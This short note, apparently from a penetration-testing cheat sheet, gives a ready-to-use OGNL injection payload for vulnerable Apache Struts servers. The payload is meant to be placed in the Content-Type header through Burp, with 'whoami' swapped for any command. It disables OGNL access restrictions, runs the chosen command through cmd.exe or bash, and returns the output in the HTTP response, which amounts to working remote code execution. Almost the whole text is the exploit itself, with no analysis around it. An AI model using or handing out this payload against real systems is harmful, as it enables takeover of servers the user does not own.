Put this in Content-Type in Burp for affected Struts (change whoami, no need to do further encoding):

%{(#n='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}